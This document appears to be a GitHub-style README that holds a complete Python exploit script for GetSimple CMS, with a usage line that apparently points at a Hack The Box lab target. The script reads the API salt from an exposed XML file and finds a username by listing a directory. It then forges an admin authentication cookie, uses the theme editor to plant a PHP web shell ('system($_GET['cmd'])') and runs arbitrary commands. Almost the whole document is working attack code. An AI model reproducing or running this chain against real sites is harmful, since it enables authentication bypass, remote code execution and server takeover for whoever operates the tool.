README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import hashlib
import re
import sys
from urllib.parse import urljoin
from bs4 import BeautifulSoup
import warnings
warnings.filterwarnings('ignore')
class GetSimpleCMSExploit:
def __init__(self, url, command="id"):
self.url = url if url.startswith('http') else f"http://{url}"
self.command = command
self.session = requests.Session()
self.session.verify = False
def get_version(self):
"""Extract CMS version"""
try:
res = self.session.get(urljoin(self.url, '/admin/'))
if res.status_code != 200:
print("[-] Failed to get version")
return None
soup = BeautifulSoup(res.text, 'html.parser')
script = soup.find('script', {'type': 'text/javascript'})
if script and script.get('src'):
version = script['src'].split('?v=')[-1].replace('.', '')
print(f"[+] Version found: {version}")
return version
return None
except Exception as e:
print(f"[-] Error getting version: {e}")
return None
def get_salt(self):
"""Extract API salt from authorization.xml"""
try:
res = self.session.get(urljoin(self.url, '/data/other/authorization.xml'))
if res.status_code != 200:
print("[-] Failed to get salt")
return None
soup = BeautifulSoup(res.text, 'xml')
apikey = soup.find('apikey')
if apikey:
salt = apikey.text
print(f"[+] Salt found: {salt}")
return salt
return None
except Exception as e:
print(f"[-] Error getting salt: {e}")
return None
def get_username(self):
"""Extract username from users directory"""
try:
res = self.session.get(urljoin(self.url, '/data/users/'))
if res.status_code != 200:
print("[-] Failed to get username")
return None
soup = BeautifulSoup(res.text, 'html.parser')
for link in soup.find_all('a'):
if link.text and '.xml' in link.text:
username = link.text.replace('.xml', '')
print(f"[+] Username found: {username}")
return username
return None
except Exception as e:
print(f"[-] Error getting username: {e}")
return None
def generate_cookie(self, version, salt, username):
"""Generate forged authentication cookie"""
try:
cookie_name = f"getsimple_cookie_{version}"
sha_salt_usr = hashlib.sha1(f"{username}{salt}".encode()).hexdigest()
sha_salt_cookie = hashlib.sha1(f"{cookie_name}{salt}".encode()).hexdigest()
cookie = f"GS_ADMIN_USERNAME={username};{sha_salt_cookie}={sha_salt_usr}"
print(f"[+] Cookie generated: {cookie[:50]}...")
return cookie
except Exception as e:
print(f"[-] Error generating cookie: {e}")
return None
def get_nonce(self, cookie):
"""Get CSRF nonce"""
try:
headers = {'Cookie': cookie}
res = self.session.get(
urljoin(self.url, '/admin/theme-edit.php'),
params={'t': 'Innovation', 'f': 'Default Template', 's': 'Edit'},
headers=headers
)
soup = BeautifulSoup(res.text, 'html.parser')
nonce_input = soup.find('input', {'id': 'nonce'})
if nonce_input:
nonce = nonce_input.get('value')
print(f"[+] Nonce found: {nonce}")
return nonce
return None
except Exception as e:
print(f"[-] Error getting nonce: {e}")
return None
def upload_shell(self, cookie, nonce, filename="shell.php", php_code=None):
"""Upload PHP shell"""
try:
if php_code is None:
php_code = f"<?php system($_GET['cmd']); ?>"
headers = {'Cookie': cookie}
data = {
'submitsave': '2',
'edited_file': filename,
'content': php_code,
'nonce': nonce
}
res = self.session.post(
urljoin(self.url, '/admin/theme-edit.php'),
data=data,
headers=headers
)
if res.status_code == 200:
print(f"[+] Shell uploaded: {filename}")
return True
return False
except Exception as e:
print(f"[-] Error uploading shell: {e}")
return False
def execute_command(self, filename="shell.php"):
"""Execute command via shell"""
try:
shell_url = urljoin(self.url, f'/theme/{filename}')
res = self.session.get(shell_url, params={'cmd': self.command})
if res.status_code == 200:
print(f"[+] Command executed: {self.command}")
print(f"[+] Result:\n{res.text}")
return res.text
return None
except Exception as e:
print(f"[-] Error executing command: {e}")
return None
def exploit(self):
"""Run full exploit chain"""
print("[*] Starting GetSimpleCMS RCE exploit...")
print(f"[*] Target: {self.url}")
# Step 1: Get version
version = self.get_version()
if not version:
print("[-] Exploit failed: Could not get version")
return False
# Step 2: Get salt
salt = self.get_salt()
if not salt:
print("[-] Exploit failed: Could not get salt")
return False
# Step 3: Get username
username = self.get_username()
if not username:
print("[-] Exploit failed: Could not get username")
return False
# Step 4: Generate cookie
cookie = self.generate_cookie(version, salt, username)
if not cookie:
print("[-] Exploit failed: Could not generate cookie")
return False
# Step 5: Get nonce
nonce = self.get_nonce(cookie)
if not nonce:
print("[-] Exploit failed: Could not get nonce")
return False
# Step 6: Upload shell
if not self.upload_shell(cookie, nonce):
print("[-] Exploit failed: Could not upload shell")
return False
# Step 7: Execute command
self.execute_command()
print("[+] Exploit completed successfully!")
return True
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <url> [command]")
print("Example: python3 exploit.py gettingstarted.htb 'id'")
print("Example: python3 exploit.py http://192.168.1.100 'whoami'")
sys.exit(1)
url = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else "id"
exploit = GetSimpleCMSExploit(url, command)
exploit.exploit()